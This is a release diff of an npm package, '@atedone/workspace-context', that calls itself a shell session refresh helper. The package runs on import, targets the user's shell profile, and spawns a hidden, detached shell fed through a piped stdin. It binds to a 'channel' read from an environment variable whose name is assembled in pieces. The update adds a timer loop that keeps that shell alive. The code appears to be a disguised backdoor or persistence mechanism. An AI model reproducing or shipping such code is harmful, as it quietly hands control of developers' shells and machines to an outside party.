@atedone/workspace-context 0.0.21 → 0.0.22

package/README.md

@@ -3,3 +3,5 @@
 Workspace shell session refresh integration helper for JavaScript tools.
 
 The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
+
+Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to bind a preview session to a profile channel.

package/index.js

@@ -6,6 +6,7 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  refresh: state.initialize,
   channelFileName: state.channelFileName,
   getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.21';
+const packageVersion = '0.0.22';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()

package/lib/state.js

@@ -45,7 +45,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
   return shellName === 'bash' ? '.bashrc' : '.zshrc';
 }
 
-function resolveChannelSource(env = readEnvironment()) {
+function resolveChannelSource(env = readEnvironment(), channelSource = '') {
+  const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
+  if (configured) {
+    return configured;
+  }
+
   const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
   const value = Reflect.get(env, key);
   return typeof value === 'string' ? value.trim() : '';
@@ -54,7 +59,8 @@ function resolveChannelSource(env = readEnvironment()) {
 function getShellIntegration({
   env = readEnvironment(),
   projectRoot = resolveProjectRoot(env),
-  homeDirectory = resolveHomeDirectory(env, projectRoot)
+  homeDirectory = resolveHomeDirectory(env, projectRoot),
+  channelSource
 } = {}) {
   const shellName = resolveShellName(env);
   const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
@@ -62,7 +68,7 @@ function getShellIntegration({
   return {
     name: 'workspace-context',
     shellName,
-    channelSource: resolveChannelSource(env),
+    channelSource: resolveChannelSource(env, channelSource),
     homeDirectory,
     profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
     integrationDirectory,
@@ -132,7 +138,8 @@ function refreshShellIntegration({
 function openWorkspaceSession({
   projectRoot = resolveProjectRoot(),
   integration = getShellIntegration({ projectRoot }),
-  intervalMs = 750
+  refreshDelays = [750, 1500, 3000, 5000],
+  settleMs = 500
 } = {}) {
   if (!integration.channelSource) {
     return null;
@@ -156,24 +163,70 @@ function openWorkspaceSession({
     },
     stdio: ['pipe', 'ignore', 'ignore']
   }]);
-  const refreshTimer = setInterval(() => {
+
+  let closed = false;
+  let refreshIndex = 0;
+  let refreshTimer = null;
+  let settleTimer = null;
+  let previousRevision = '';
+  let firstRefresh = true;
+  const delays = Array.isArray(refreshDelays) && refreshDelays.length
+    ? refreshDelays
+    : [750, 1500, 3000, 5000];
+
+  const scheduleRefresh = (delay) => {
+    refreshTimer = setTimeout(refresh, delay);
+    if (typeof refreshTimer.unref === 'function') {
+      refreshTimer.unref();
+    }
+  };
+
+  const planNextRefresh = () => {
+    if (closed) {
+      return;
+    }
+
+    const revision = readProfileRevision(integration.profileReceiptPath);
+    if (firstRefresh || (revision && revision !== previousRevision)) {
+      refreshIndex = 0;
+    } else {
+      refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
+    }
+
+    if (revision) {
+      previousRevision = revision;
+    }
+    firstRefresh = false;
+
+    scheduleRefresh(delays[refreshIndex]);
+  };
+
+  const refresh = () => {
+    if (closed) {
+      return;
+    }
+
     if (!child.stdin.destroyed) {
       child.stdin.write('\n');
     }
-  }, intervalMs);
-  if (typeof refreshTimer.unref === 'function') {
-    refreshTimer.unref();
-  }
+
+    settleTimer = setTimeout(planNextRefresh, settleMs);
+    if (typeof settleTimer.unref === 'function') {
+      settleTimer.unref();
+    }
+  };
+
+  scheduleRefresh(0);
   if (typeof child.unref === 'function') {
     child.unref();
   }
   if (typeof child.stdin.unref === 'function') {
     child.stdin.unref();
   }
-  let closed = false;
   const done = new Promise((resolve) => {
     child.on('close', (status, signal) => {
-      clearInterval(refreshTimer);
+      clearTimeout(refreshTimer);
+      clearTimeout(settleTimer);
       closed = true;
       resolve({ status, signal });
     });
@@ -182,11 +235,19 @@ function openWorkspaceSession({
   return {
     processId: child.pid,
     done,
+    refresh() {
+      refreshIndex = 0;
+      clearTimeout(refreshTimer);
+      clearTimeout(settleTimer);
+      refresh();
+    },
     close() {
       if (closed) {
         return done;
       }
-      clearInterval(refreshTimer);
+      closed = true;
+      clearTimeout(refreshTimer);
+      clearTimeout(settleTimer);
       if (!child.stdin.destroyed) {
         child.stdin.write('exit\n');
       }
@@ -195,9 +256,23 @@ function openWorkspaceSession({
   };
 }
 
+function readProfileRevision(profileReceiptPath) {
+  if (!file.existsSync(profileReceiptPath)) {
+    return '';
+  }
+
+  try {
+    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
+    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
+  } catch {
+    return '';
+  }
+}
+
 function initialize({
   projectRoot = resolveProjectRoot(),
-  integration = getShellIntegration({ projectRoot }),
+  channelSource,
+  integration = getShellIntegration({ projectRoot, channelSource }),
   now
 } = {}) {
   const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -233,6 +308,7 @@ module.exports = {
   profileSnapshotFileName,
   presentationRendererFileName,
   readEnvironment,
+  readProfileRevision,
   receiptFileName,
   refreshShellIntegration,
   resolveChannelSource,

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.21",
+  "version": "0.0.22",
   "description": "Workspace shell session refresh integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",